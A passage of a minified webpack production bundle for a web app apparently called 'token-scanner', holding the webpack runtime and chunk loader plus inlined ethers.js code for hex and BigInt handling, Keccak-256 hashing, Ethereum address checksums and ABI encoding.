__REACT_DEVTOOLS_GLOBAL_HOOK__&&"function"===typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE)try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}(),e.exports=n(672)}},t={};function n(r){var a=t[r];if(void 0!==a)return a.exports;var i=t[r]={exports:{}};return e[r](i,i.exports,n),i.exports}n.m=e,n.d=(e,t)=>{for(var r in t)n.o(t,r)&&!n.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},n.f={},n.e=e=>Promise.all(Object.keys(n.f).reduce(((t,r)=>(n.f[r](e,t),t)),[])),n.u=e=>"static/js/"+e+".c45beaa6.chunk.js",n.miniCssF=e=>{},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{var e={},t="token-scanner:";n.l=(r,a,i,s)=>{if(e[r])e[r].push(a);else{var o,l;if(void 0!==i)for(var u=document.getElementsByTagName("script"),c=0;c<u.length;c++){var f=u[c];if(f.getAttribute("src")==r||f.getAttribute("data-webpack")==t+i){o=f;break}}o||(l=!0,(o=document.createElement("script")).charset="utf-8",o.timeout=120,n.nc&&o.setAttribute("nonce",n.nc),o.setAttribute("data-webpack",t+i),o.src=r),e[r]=[a];var d=(t,n)=>{o.onerror=o.onload=null,clearTimeout(h);var a=e[r];if(delete e[r],o.parentNode&&o.parentNode.removeChild(o),a&&a.forEach((e=>e(n))),t)return t(n)},h=setTimeout(d.bind(null,void 0,{type:"timeout",target:o}),12e4);o.onerror=d.bind(null,o.onerror),o.onload=d.bind(null,o.onload),l&&document.head.appendChild(o)}}})(),n.r=e=>{"undefined"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.p="/",(()=>{var e={792:0};n.f.j=(t,r)=>{var a=n.o(e,t)?e[t]:void 0;if(0!==a)if(a)r.push(a[2]);else{var i=new Promise(((n,r)=>a=e[t]=[n,r]));r.push(a[2]=i);var s=n.p+n.u(t),o=new Error;n.l(s,(r=>{if(n.o(e,t)&&(0!==(a=e[t])&&(e[t]=void 0),a)){var i=r&&("load"===r.type?"missing":r.type),s=r&&r.target&&r.target.src;o.message="Loading chunk "+t+" failed.\n("+i+": "+s+")",o.name="ChunkLoadError",o.type=i,o.request=s,a[1](o)}}),"chunk-"+t,t)}};var t=(t,r)=>{var a,i,s=r[0],o=r[1],l=r[2],u=0;if(s.some((t=>0!==e[t]))){for(a in o)n.o(o,a)&&(n.m[a]=o[a]);if(l)l(n)}for(t&&t(r);u<s.length;u++)i=s[u],n.o(e,i)&&e[i]&&e[i][0](),e[i]=0},r=self.webpackChunktoken_scanner=self.webpackChunktoken_scanner||[];r.forEach(t.bind(null,0)),r.push=t.bind(null,r.push.bind(r))})();var r={};n.r(r),n.d(r,{OG:()=>is,My:()=>Yi,Ph:()=>$i,lX:()=>es,Id:()=>as,fg:()=>ls,qj:()=>rs,aT:()=>Xi,lq:()=>ts,z:()=>ns,Q5:()=>cs});var a=n(43),i=n(391);function s(e,t,n){const r=t.split("|").map((e=>e.trim()));for(let i=0;i<r.length;i++)switch(t){case"any":return;case"bigint":case"boolean":case"number":case"string":if(typeof e===t)return}const a=new Error(`invalid value for type ${t}`);throw a.code="INVALID_ARGUMENT",a.argument=`value.${n}`,a.value=e,a}async function o(e){const t=Object.keys(e);return(await Promise.all(t.map((t=>Promise.resolve(e[t]))))).reduce(((e,n,r)=>(e[t[r]]=n,e)),{})}function l(e,t,n){for(let r in t){let a=t[r];const i=n?n[r]:null;i&&s(a,i,r),Object.defineProperty(e,r,{enumerable:!0,value:a,writable:!1})}}function u(e){if(null==e)return"null";if(Array.isArray(e))return"[ "+e.map(u).join(", ")+" ]";if(e instanceof Uint8Array){const t="0123456789abcdef";let n="0x";for(let r=0;r<e.length;r++)n+=t[e[r]>>4],n+=t[15&e[r]];return n}if("object"===typeof e&&"function"===typeof e.toJSON)return u(e.toJSON());switch(typeof e){case"boolean":case"symbol":case"number":return e.toString();case"bigint":return BigInt(e).toString();case"string":return JSON.stringify(e);case"object":{const t=Object.keys(e);return t.sort(),"{ "+t.map((t=>`${u(t)}: ${u(e[t])}`)).join(", ")+" }"}}return"[ COULD NOT SERIALIZE ]"}function c(e,t){return e&&e.code===t}function f(e){return c(e,"CALL_EXCEPTION")}function d(e,t,n){let r,a=e;{const r=[];if(n){if("message"in n||"code"in n||"name"in n)throw new Error(`value will overwrite populated values: ${u(n)}`);for(const e in n){if("shortMessage"===e)continue;const t=n[e];r.push(e+"="+u(t))}}r.push(`code=${t}`),r.push("version=6.13.5"),r.length&&(e+=" ("+r.join(", ")+")")}switch(t){case"INVALID_ARGUMENT":r=new TypeError(e);break;case"NUMERIC_FAULT":case"BUFFER_OVERRUN":r=new RangeError(e);break;default:r=new Error(e)}return l(r,{code:t}),n&&Object.assign(r,n),null==r.shortMessage&&l(r,{shortMessage:a}),r}function h(e,t,n,r){if(!e)throw d(t,n,r)}function p(e,t,n,r){h(e,t,"INVALID_ARGUMENT",{argument:n,value:r})}function g(e,t,n){null==n&&(n=""),n&&(n=": "+n),h(e>=t,"missing argument"+n,"MISSING_ARGUMENT",{count:e,expectedCount:t}),h(e<=t,"too many arguments"+n,"UNEXPECTED_ARGUMENT",{count:e,expectedCount:t})}const m=["NFD","NFC","NFKD","NFKC"].reduce(((e,t)=>{try{if("test"!=="test".normalize(t))throw new Error("bad");if("NFD"===t){const e=String.fromCharCode(233).normalize("NFD");if(e!==String.fromCharCode(101,769))throw new Error("broken")}e.push(t)}catch(n){}return e}),[]);function y(e,t,n){if(null==n&&(n=""),e!==t){let e=n,t="new";n&&(e+=".",t+=" "+n),h(!1,`private constructor; use ${e}from* methods`,"UNSUPPORTED_OPERATION",{operation:t})}}function b(e,t,n){if(e instanceof Uint8Array)return n?new Uint8Array(e):e;if("string"===typeof e&&e.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)){const t=new Uint8Array((e.length-2)/2);let n=2;for(let r=0;r<t.length;r++)t[r]=parseInt(e.substring(n,n+2),16),n+=2;return t}p(!1,"invalid BytesLike value",t||"value",e)}function w(e,t){return b(e,t,!1)}function v(e,t){return b(e,t,!0)}function A(e,t){return!("string"!==typeof e||!e.match(/^0x[0-9A-Fa-f]*$/))&&(("number"!==typeof t||e.length===2+2*t)&&(!0!==t||e.length%2===0))}function k(e){return A(e,!0)||e instanceof Uint8Array}const E="0123456789abcdef";function S(e){const t=w(e);let n="0x";for(let r=0;r<t.length;r++){const e=t[r];n+=E[(240&e)>>4]+E[15&e]}return n}function x(e){return"0x"+e.map((e=>S(e).substring(2))).join("")}function P(e){return A(e,!0)?(e.length-2)/2:w(e).length}function C(e,t,n){const r=w(e);return null!=n&&n>r.length&&h(!1,"cannot slice beyond data bounds","BUFFER_OVERRUN",{buffer:r,length:r.length,offset:n}),S(r.slice(null==t?0:t,null==n?r.length:n))}function N(e,t,n){const r=w(e);h(t>=r.length,"padding exceeds data length","BUFFER_OVERRUN",{buffer:new Uint8Array(r),length:t,offset:t+1});const a=new Uint8Array(t);return a.fill(0),n?a.set(r,t-r.length):a.set(r,0),S(a)}function O(e,t){return N(e,t,!0)}const T=BigInt(0),R=BigInt(1),I=9007199254740991;function B(e,t){const n=U(e,"value"),r=BigInt(_(t,"width"));if(h(n>>r===T,"overflow","NUMERIC_FAULT",{operation:"fromTwos",fault:"overflow",value:e}),n>>r-R){return-((~n&(R<<r)-R)+R)}return n}function F(e,t){let n=D(e,"value");const r=BigInt(_(t,"width")),a=R<<r-R;if(n<T){n=-n,h(n<=a,"too low","NUMERIC_FAULT",{operation:"toTwos",fault:"overflow",value:e});return(~n&(R<<r)-R)+R}return h(n<a,"too high","NUMERIC_FAULT",{operation:"toTwos",fault:"overflow",value:e}),n}function L(e,t){const n=U(e,"value"),r=BigInt(_(t,"bits"));return n&(R<<r)-R}function D(e,t){switch(typeof e){case"bigint":return e;case"number":return p(Number.isInteger(e),"underflow",t||"value",e),p(e>=-I&&e<=I,"overflow",t||"value",e),BigInt(e);case"string":try{if(""===e)throw new Error("empty string");return"-"===e[0]&&"-"!==e[1]?-BigInt(e.substring(1)):BigInt(e)}catch(n){p(!1,`invalid BigNumberish string: ${n.message}`,t||"value",e)}}p(!1,"invalid BigNumberish value",t||"value",e)}function U(e,t){const n=D(e,t);return h(n>=T,"unsigned value cannot be negative","NUMERIC_FAULT",{fault:"overflow",operation:"getUint",value:e}),n}const M="0123456789abcdef";function z(e){if(e instanceof Uint8Array){let t="0x0";for(const n of e)t+=M[n>>4],t+=M[15&n];return BigInt(t)}return D(e)}function _(e,t){switch(typeof e){case"bigint":return p(e>=-I&&e<=I,"overflow",t||"value",e),Number(e);case"number":return p(Number.isInteger(e),"underflow",t||"value",e),p(e>=-I&&e<=I,"overflow",t||"value",e),e;case"string":try{if(""===e)throw new Error("empty string");return _(BigInt(e),t)}catch(n){p(!1,`invalid numeric string: ${n.message}`,t||"value",e)}}p(!1,"invalid numeric value",t||"value",e)}function H(e,t){let n=U(e,"value").toString(16);if(null==t)n.length%2&&(n="0"+n);else{const r=_(t,"width");for(h(2*r>=n.length,`value exceeds width (${r} bytes)`,"NUMERIC_FAULT",{operation:"toBeHex",fault:"overflow",value:e});n.length<2*r;)n="0"+n}return"0x"+n}function j(e){const t=U(e,"value");if(t===T)return new Uint8Array([]);let n=t.toString(16);n.length%2&&(n="0"+n);const r=new Uint8Array(n.length/2);for(let a=0;a<r.length;a++){const e=2*a;r[a]=parseInt(n.substring(e,e+2),16)}return r}function G(e){let t=S(k(e)?e:j(e)).substring(2);for(;t.startsWith("0");)t=t.substring(1);return""===t&&(t="0"),"0x"+t}const Q=32,V=new Uint8Array(Q),J=["then"],q={},K=new WeakMap;function W(e){return K.get(e)}function Y(e,t){K.set(e,t)}function Z(e,t){const n=new Error(`deferred error during ABI decoding triggered accessing ${e}`);throw n.error=t,n}function X(e,t,n){return e.indexOf(null)>=0?t.map(((e,t)=>e instanceof $?X(W(e),e,n):e)):e.reduce(((e,r,a)=>{let i=t.getValue(r);return r in e||(n&&i instanceof $&&(i=X(W(i),i,n)),e[r]=i),e}),{})}class $ extends Array{#e;constructor(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];const r=t[0];let a=t[1],i=(t[2]||[]).slice(),s=!0;r!==q&&(a=t,i=[],s=!1),super(a.length),a.forEach(((e,t)=>{this[t]=e}));const o=i.reduce(((e,t)=>("string"===typeof t&&e.set(t,(e.get(t)||0)+1),e)),new Map);if(Y(this,Object.freeze(a.map(((e,t)=>{const n=i[t];return null!=n&&1===o.get(n)?n:null})))),this.#e=[],null==this.#e&&this.#e,!s)return;Object.freeze(this);const l=new Proxy(this,{get:(e,t,n)=>{if("string"===typeof t){if(t.match(/^[0-9]+$/)){const n=_(t,"%index");if(n<0||n>=this.length)throw new RangeError("out of result range");const r=e[n];return r instanceof Error&&Z(`index ${n}`,r),r}if(J.indexOf(t)>=0)return Reflect.get(e,t,n);const r=e[t];if(r instanceof Function)return function(){for(var t=arguments.length,a=new Array(t),i=0;i<t;i++)a[i]=arguments[i];return r.apply(this===n?e:this,a)};if(!(t in e))return e.getValue.apply(this===n?e:this,[t])}return Reflect.get(e,t,n)}});return Y(l,W(this)),l}toArray(e){const t=[];return this.forEach(((n,r)=>{n instanceof Error&&Z(`index ${r}`,n),e&&n instanceof $&&(n=n.toArray(e)),t.push(n)})),t}toObject(e){const t=W(this);return t.reduce(((n,r,a)=>(h(null!=r,`value at index ${a} unnamed`,"UNSUPPORTED_OPERATION",{operation:"toObject()"}),X(t,this,e))),{})}slice(e,t){null==e&&(e=0),e<0&&(e+=this.length)<0&&(e=0),null==t&&(t=this.length),t<0&&(t+=this.length)<0&&(t=0),t>this.length&&(t=this.length);const n=W(this),r=[],a=[];for(let i=e;i<t;i++)r.push(this[i]),a.push(n[i]);return new $(q,r,a)}filter(e,t){const n=W(this),r=[],a=[];for(let i=0;i<this.length;i++){const s=this[i];s instanceof Error&&Z(`index ${i}`,s),e.call(t,s,i,this)&&(r.push(s),a.push(n[i]))}return new $(q,r,a)}map(e,t){const n=[];for(let r=0;r<this.length;r++){const a=this[r];a instanceof Error&&Z(`index ${r}`,a),n.push(e.call(t,a,r,this))}return n}getValue(e){const t=W(this).indexOf(e);if(-1===t)return;const n=this[t];return n instanceof Error&&Z(`property ${JSON.stringify(e)}`,n.error),n}static fromItems(e,t){return new $(q,e,t)}}function ee(e){let t=j(e);return h(t.length<=Q,"value out-of-bounds","BUFFER_OVERRUN",{buffer:t,length:Q,offset:t.length}),t.length!==Q&&(t=v(x([V.slice(t.length%Q),t]))),t}class te{name;type;localName;dynamic;constructor(e,t,n,r){l(this,{name:e,type:t,localName:n,dynamic:r},{name:"string",type:"string",localName:"string",dynamic:"boolean"})}_throwError(e,t){p(!1,e,this.localName,t)}}class ne{#t;#n;constructor(){this.#t=[],this.#n=0}get data(){return x(this.#t)}get length(){return this.#n}#r(e){return this.#t.push(e),this.#n+=e.length,e.length}appendWriter(e){return this.#r(v(e.data))}writeBytes(e){let t=v(e);const n=t.length%Q;return n&&(t=v(x([t,V.slice(n)]))),this.#r(t)}writeValue(e){return this.#r(ee(e))}writeUpdatableValue(){const e=this.#t.length;return this.#t.push(V),this.#n+=Q,t=>{this.#t[e]=ee(t)}}}class re{allowLoose;#t;#a;#i;#s;#o;constructor(e,t,n){l(this,{allowLoose:!!t}),this.#t=v(e),this.#i=0,this.#s=null,this.#o=null!=n?n:1024,this.#a=0}get data(){return S(this.#t)}get dataLength(){return this.#t.length}get consumed(){return this.#a}get bytes(){return new Uint8Array(this.#t)}#l(e){if(this.#s)return this.#s.#l(e);this.#i+=e,h(this.#o<1||this.#i<=this.#o*this.dataLength,`compressed ABI data exceeds inflation ratio of ${this.#o} ( see: https://github.com/ethers-io/ethers.js/issues/4537 )`,"BUFFER_OVERRUN",{buffer:v(this.#t),offset:this.#a,length:e,info:{bytesRead:this.#i,dataLength:this.dataLength}})}#u(e,t,n){let r=Math.ceil(t/Q)*Q;return this.#a+r>this.#t.length&&(this.allowLoose&&n&&this.#a+t<=this.#t.length?r=t:h(!1,"data out-of-bounds","BUFFER_OVERRUN",{buffer:v(this.#t),length:this.#t.length,offset:this.#a+r})),this.#t.slice(this.#a,this.#a+r)}subReader(e){const t=new re(this.#t.slice(this.#a+e),this.allowLoose,this.#o);return t.#s=this,t}readBytes(e,t){let n=this.#u(0,e,!!t);return this.#l(e),this.#a+=n.length,n.slice(0,e)}readValue(){return z(this.readBytes(Q))}readIndex(){return _(z(this.readBytes(Q)))}}function ae(e){if(!Number.isSafeInteger(e)||e<0)throw new Error(`Wrong positive integer: ${e}`)}function ie(e){if(!(e instanceof Uint8Array))throw new Error("Expected Uint8Array");for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];if(n.length>0&&!n.includes(e.length))throw new Error(`Expected Uint8Array of length ${n}, not of length=${e.length}`)}function se(e){if("function"!==typeof e||"function"!==typeof e.create)throw new Error("Hash should be wrapped by utils.wrapConstructor");ae(e.outputLen),ae(e.blockLen)}function oe(e){let t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];if(e.destroyed)throw new Error("Hash instance has been destroyed");if(t&&e.finished)throw new Error("Hash#digest() has already been called")}function le(e,t){ie(e);const n=t.outputLen;if(e.length<n)throw new Error(`digestInto() expects output buffer of length at least ${n}`)}const ue=BigInt(2**32-1),ce=BigInt(32);function fe(e){return arguments.length>1&&void 0!==arguments[1]&&arguments[1]?{h:Number(e&ue),l:Number(e>>ce&ue)}:{h:0|Number(e>>ce&ue),l:0|Number(e&ue)}}function de(e){let t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=new Uint32Array(e.length),r=new Uint32Array(e.length);for(let a=0;a<e.length;a++){const{h:i,l:s}=fe(e[a],t);[n[a],r[a]]=[i,s]}return[n,r]}const he=(e,t,n)=>e<<n|t>>>32-n,pe=(e,t,n)=>t<<n|e>>>32-n,ge=(e,t,n)=>t<<n-32|e>>>64-n,me=(e,t,n)=>e<<n-32|t>>>64-n;const ye={fromBig:fe,split:de,toBig:(e,t)=>BigInt(e>>>0)<<ce|BigInt(t>>>0),shrSH:(e,t,n)=>e>>>n,shrSL:(e,t,n)=>e<<32-n|t>>>n,rotrSH:(e,t,n)=>e>>>n|t<<32-n,rotrSL:(e,t,n)=>e<<32-n|t>>>n,rotrBH:(e,t,n)=>e<<64-n|t>>>n-32,rotrBL:(e,t,n)=>e>>>n-32|t<<64-n,rotr32H:(e,t)=>t,rotr32L:(e,t)=>e,rotlSH:he,rotlSL:pe,rotlBH:ge,rotlBL:me,add:function(e,t,n,r){const a=(t>>>0)+(r>>>0);return{h:e+n+(a/2**32|0)|0,l:0|a}},add3L:(e,t,n)=>(e>>>0)+(t>>>0)+(n>>>0),add3H:(e,t,n,r)=>t+n+r+(e/2**32|0)|0,add4L:(e,t,n,r)=>(e>>>0)+(t>>>0)+(n>>>0)+(r>>>0),add4H:(e,t,n,r,a)=>t+n+r+a+(e/2**32|0)|0,add5H:(e,t,n,r,a,i)=>t+n+r+a+i+(e/2**32|0)|0,add5L:(e,t,n,r,a)=>(e>>>0)+(t>>>0)+(n>>>0)+(r>>>0)+(a>>>0)},be="object"===typeof globalThis&&"crypto"in globalThis?globalThis.crypto:void 0,we=e=>e instanceof Uint8Array,ve=e=>new DataView(e.buffer,e.byteOffset,e.byteLength),Ae=(e,t)=>e<<32-t|e>>>t;if(!(68===new Uint8Array(new Uint32Array([287454020]).buffer)[0]))throw new Error("Non little-endian hardware is not supported");function ke(e){if("string"===typeof e&&(e=function(e){if("string"!==typeof e)throw new Error("utf8ToBytes expected string, got "+typeof e);return new Uint8Array((new TextEncoder).encode(e))}(e)),!we(e))throw new Error("expected Uint8Array, got "+typeof e);return e}class Ee{clone(){return this._cloneInto()}}function Se(e){const t=t=>e().update(ke(t)).digest(),n=e();return t.outputLen=n.outputLen,t.blockLen=n.blockLen,t.create=()=>e(),t}function xe(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:32;if(be&&"function"===typeof be.getRandomValues)return be.getRandomValues(new Uint8Array(e));throw new Error("crypto.getRandomValues must be defined")}const[Pe,Ce,Ne]=[[],[],[]],Oe=BigInt(0),Te=BigInt(1),Re=BigInt(2),Ie=BigInt(7),Be=BigInt(256),Fe=BigInt(113);for(let mu=0,yu=Te,bu=1,wu=0;mu<24;mu++){[bu,wu]=[wu,(2*bu+3*wu)%5],Pe.push(2*(5*wu+bu)),Ce.push((mu+1)*(mu+2)/2%64);let e=Oe;for(let t=0;t<7;t++)yu=(yu<<Te^(yu>>Ie)*Fe)%Be,yu&Re&&(e^=Te<<(Te<<BigInt(t))-Te);Ne.push(e)}const[Le,De]=de(Ne,!0),Ue=(e,t,n)=>n>32?ge(e,t,n):he(e,t,n),Me=(e,t,n)=>n>32?me(e,t,n):pe(e,t,n);class ze extends Ee{constructor(e,t,n){let r=arguments.length>3&&void 0!==arguments[3]&&arguments[3],a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:24;if(super(),this.blockLen=e,this.suffix=t,this.outputLen=n,this.enableXOF=r,this.rounds=a,this.pos=0,this.posOut=0,this.finished=!1,this.destroyed=!1,ae(n),0>=this.blockLen||this.blockLen>=200)throw new Error("Sha3 supports only keccak-f1600 function");var i;this.state=new Uint8Array(200),this.state32=(i=this.state,new Uint32Array(i.buffer,i.byteOffset,Math.floor(i.byteLength/4)))}keccak(){!function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:24;const n=new Uint32Array(10);for(let r=24-t;r<24;r++){for(let r=0;r<10;r++)n[r]=e[r]^e[r+10]^e[r+20]^e[r+30]^e[r+40];for(let r=0;r<10;r+=2){const t=(r+8)%10,a=(r+2)%10,i=n[a],s=n[a+1],o=Ue(i,s,1)^n[t],l=Me(i,s,1)^n[t+1];for(let n=0;n<50;n+=10)e[r+n]^=o,e[r+n+1]^=l}let t=e[2],a=e[3];for(let n=0;n<24;n++){const r=Ce[n],i=Ue(t,a,r),s=Me(t,a,r),o=Pe[n];t=e[o],a=e[o+1],e[o]=i,e[o+1]=s}for(let r=0;r<50;r+=10){for(let t=0;t<10;t++)n[t]=e[r+t];for(let t=0;t<10;t++)e[r+t]^=~n[(t+2)%10]&n[(t+4)%10]}e[0]^=Le[r],e[1]^=De[r]}n.fill(0)}(this.state32,this.rounds),this.posOut=0,this.pos=0}update(e){oe(this);const{blockLen:t,state:n}=this,r=(e=ke(e)).length;for(let a=0;a<r;){const i=Math.min(t-this.pos,r-a);for(let t=0;t<i;t++)n[this.pos++]^=e[a++];this.pos===t&&this.keccak()}return this}finish(){if(this.finished)return;this.finished=!0;const{state:e,suffix:t,pos:n,blockLen:r}=this;e[n]^=t,0!==(128&t)&&n===r-1&&this.keccak(),e[r-1]^=128,this.keccak()}writeInto(e){oe(this,!1),ie(e),this.finish();const t=this.state,{blockLen:n}=this;for(let r=0,a=e.length;r<a;){this.posOut>=n&&this.keccak();const i=Math.min(n-this.posOut,a-r);e.set(t.subarray(this.posOut,this.posOut+i),r),this.posOut+=i,r+=i}return e}xofInto(e){if(!this.enableXOF)throw new Error("XOF is not possible for this instance");return this.writeInto(e)}xof(e){return ae(e),this.xofInto(new Uint8Array(e))}digestInto(e){if(le(e,this),this.finished)throw new Error("digest() was already called");return this.writeInto(e),this.destroy(),e}digest(){return this.digestInto(new Uint8Array(this.outputLen))}destroy(){this.destroyed=!0,this.state.fill(0)}_cloneInto(e){const{blockLen:t,suffix:n,outputLen:r,rounds:a,enableXOF:i}=this;return e||(e=new ze(t,n,r,i,a)),e.state32.set(this.state32),e.pos=this.pos,e.posOut=this.posOut,e.finished=this.finished,e.rounds=a,e.suffix=n,e.outputLen=r,e.enableXOF=i,e.destroyed=this.destroyed,e}}const _e=(e,t,n)=>Se((()=>new ze(t,e,n))),He=_e(1,136,32);let je=!1;const Ge=function(e){return He(e)};let Qe=Ge;function Ve(e){const t=w(e,"data");return S(Qe(t))}Ve._=Ge,Ve.lock=function(){je=!0},Ve.register=function(e){if(je)throw new TypeError("keccak256 is locked");Qe=e},Object.freeze(Ve);const Je=BigInt(0),qe=BigInt(36);function Ke(e){const t=(e=e.toLowerCase()).substring(2).split(""),n=new Uint8Array(40);for(let a=0;a<40;a++)n[a]=t[a].charCodeAt(0);const r=w(Ve(n));for(let a=0;a<40;a+=2)r[a>>1]>>4>=8&&(t[a]=t[a].toUpperCase()),(15&r[a>>1])>=8&&(t[a+1]=t[a+1].toUpperCase());return"0x"+t.join("")}const We={};for(let mu=0;mu<10;mu++)We[String(mu)]=String(mu);for(let mu=0;mu<26;mu++)We[String.fromCharCode(65+mu)]=String(10+mu);function Ye(e){let t=(e=(e=e.toUpperCase()).substring(4)+e.substring(0,2)+"00").split("").map((e=>We[e])).join("");for(;t.length>=15;){let e=t.substring(0,15);t=parseInt(e,10)%97+t.substring(e.length)}let n=String(98-parseInt(t,10)%97);for(;n.length<2;)n="0"+n;return n}const Ze=function(){const e={};for(let t=0;t<36;t++){e["0123456789abcdefghijklmnopqrstuvwxyz"[t]]=BigInt(t)}return e}();function Xe(e){if(p("string"===typeof e,"invalid address","address",e),e.match(/^(0x)?[0-9a-fA-F]{40}$/)){e.startsWith("0x")||(e="0x"+e);const t=Ke(e);return p(!e.match(/([A-F].*[a-f])|([a-f].*[A-F])/)||t===e,"bad address checksum","address",e),t}if(e.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)){p(e.substring(2,4)===Ye(e),"bad icap checksum","address",e);let t=function(e){e=e.toLowerCase();let t=Je;for(let n=0;n<e.length;n++)t=t*qe+Ze[e[n]];return t}(e.substring(4)).toString(16);for(;t.length<40;)t="0"+t;return Ke("0x"+t)}p(!1,"invalid address","address",e)}const $e={};function et(e,t){let n=!1;return t<0&&(n=!0,t*=-1),new rt($e,`${n?"":"u"}int${t}`,e,{signed:n,width:t})}function tt(e,t){return new rt($e,`bytes${t||""}`,e,{size:t})}const nt=Symbol.for("_ethers_typed");class rt{type;value;#c;_typedSymbol;constructor(e,t,n,r){null==r&&(r=null),y($e,e,"Typed"),l(this,{_typedSymbol:nt,type:t,value:n}),this.#c=r,this.format()}format(){if("array"===this.type)throw new Error("");if("dynamicArray"===this.type)throw new Error("");return"tuple"===this.type?`tuple(${this.value.map((e=>e.format())).join(",")})`:this.type}defaultValue(){return 0}minValue(){return 0}maxValue(){return 0}isBigInt(){return!!this.type.match(/^u?int[0-9]+$/)}isData(){return this.type.startsWith("bytes")}isString(){return"string"===this.type}get tupleName(){if("tuple"!==this.type)throw TypeError("not a tuple");return this.#c}get arrayLength(){if("array"!==this.type)throw TypeError("not an array");return!0===this.#c?-1:!1===this.#c?this.value.length:null}static from(e,t){return new rt($e,e,t)}static uint8(e){return et(e,8)}static uint16(e){return et(e,16)}static uint24(e){return et(e,24)}static uint32(e){return et(e,32)}static uint40(e){return et(e,40)}static uint48(e){return et(e,48)}static uint56(e){return et(e,56)}static uint64(e){return et(e,64)}static uint72(e){return et(e,72)}static uint80(e){return et(e,80)}static uint88(e){return et(e,88)}static uint96(e){return et(e,96)}static uint104(e){return et(e,104)}static uint112(e){return et(e,112)}static uint120(e){return et(e,120)}static uint128(e){return et(e,128)}static uint136(e){return et(e,136)}static uint144(e){return et(e,144)}static uint152(e){return et(e,152)}static uint160(e){return et(e,160)}static uint168(e){return et(e,168)}static uint176(e){return et(e,176)}static uint184(e){return et(e,184)}static uint192(e){return et(e,192)}static uint200(e){return et(e,200)}static uint208(e){return et(e,208)}static uint216(e){return et(e,216)}static uint224(e){return et(e,224)}static uint232(e){return et(e,232)}static uint240(e){return et(e,240)}static uint248(e){return et(e,248)}static uint256(e){return et(e,256)}static uint(e){return et(e,256)}static int8(e){return et(e,-8)}static int16(e){return et(e,-16)}static int24(e){return et(e,-24)}static int32(e){return et(e,-32)}static int40(e){return et(e,-40)}static int48(e){return et(e,-48)}static int56(e){return et(e,-56)}static int64(e){return et(e,-64)}static int72(e){return et(e,-72)}static int80(e){return et(e,-80)}static int88(e){return et(e,-88)}static int96(e){return et(e,-96)}static int104(e){return et(e,-104)}static int112(e){return et(e,-112)}static int120(e){return et(e,-120)}static int128(e){return et(e,-128)}static int136(e){return et(e,-136)}static int144(e){return et(e,-144)}static int152(e){return et(e,-152)}static int160(e){return et(e,-160)}static int168(e){return et(e,-168)}static int176(e){return et(e,-176)}static int184(e){return et(e,-184)}static int192(e){return et(e,-192)}static int200(e){return et(e,-200)}static int208(e){return et(e,-208)}static int216(e){return et(e,-216)}static int224(e){return et(e,-224)}static int232(e){return et(e,-232)}static int240(e){return et(e,-240)}static int248(e){return et(e,-248)}static int256(e){return et(e,-256)}static int(e){return et(e,-256)}static bytes1(e){return tt(e,1)}static bytes2(e){return tt(e,2)}static bytes3(e){return tt(e,3)}static bytes4(e){return tt(e,4)}static bytes5(e){return tt(e,5)}static bytes6(e){return tt(e,6)}static bytes7(e){return tt(e,7)}static bytes8(e){return tt(e,8)}static bytes9(e){return tt(e,9)}static bytes10(e){return tt(e,10)}static bytes11(e){return tt(e,11)}static bytes12(e){return tt(e,12)}static bytes13(e){return tt(e,13)}static bytes14(e){return tt(e,14)}static bytes15(e){return tt(e,15)}static bytes16(e){return tt(e,16)}static bytes17(e){return tt(e,17)}static bytes18(e){return tt(e,18)}static bytes19(e){return tt(e,19)}static bytes20(e){return tt(e,20)}static bytes21(e){return tt(e,21)}static bytes22(e){return tt(e,22)}static bytes23(e){return tt(e,23)}static bytes24(e){return tt(e,24)}static bytes25(e){return tt(e,25)}static bytes26(e){return tt(e,26)}static bytes27(e){return tt(e,27)}static bytes28(e){return tt(e,28)}static bytes29(e){return tt(e,29)}static bytes30(e){return tt(e,30)}static bytes31(e){return tt(e,31)}static bytes32(e){return tt(e,32)}static address(e){return new rt($e,"address",e)}static bool(e){return new rt($e,"bool",!!e)}static bytes(e){return new rt($e,"bytes",e)}static string(e){return new rt($e,"string",e)}static array(e,t){throw new Error("not implemented yet")}static tuple(e,t){throw new Error("not implemented yet")}static overrides(e){return new rt($e,"overrides",Object.assign({},e))}static isTyped(e){return e&&"object"===typeof e&&"_typedSymbol"in e&&e._typedSymbol===nt}static dereference(e,t){if(rt.isTyped(e)){if(e.type!==t)throw new Error(`invalid type: expecetd ${t}, got ${e.type}`);return e.value}return e}}class at extends te{constructor(e){super("address","address",e,!1)}defaultValue(){return"0x0000000000000000000000000000000000000000"}encode(e,t){let n=rt.dereference(t,"string");try{n=Xe(n)}catch(r){return this._throwError(r.message,t)}return e.writeValue(n)}decode(e){return Xe(H(e.readValue(),20))}}class it extends te{coder;constructor(e){super(e.name,e.type,"_",e.dynamic),this.coder=e}defaultValue(){return this.coder.defaultValue()}encode(e,t){return this.coder.encode(e,t)}decode(e){return this.coder.decode(e)}}function st(e,t,n){let r=[];if(Array.isArray(n))r=n;else if(n&&"object"===typeof n){let e={};r=t.map((t=>{const r=t.localName;return h(r,"cannot encode object for signature with missing names","INVALID_ARGUMENT",{argument:"values",info:{coder:t},value:n}),h(!e[r],"cannot encode object for signature with duplicate names","INVALID_ARGUMENT",{argument:"values",info:{coder:t},value:n}),e[r]=!0,n[r]}))}else p(!1,"invalid tuple value","tuple",n);p(t.length===r.length,"types/value length mismatch","tuple",n);let a=new ne,i=new ne,s=[];t.forEach(((e,t)=>{let n=r[t];if(e.dynamic){let t=i.length;e.encode(i,n);let r=a.writeUpdatableValue();s.push((e=>{r(e+t)}))}else e.encode(a,n)})),s.forEach((e=>{e(a.length)}));let o=e.appendWriter(a);return o+=e.appendWriter(i),o}function 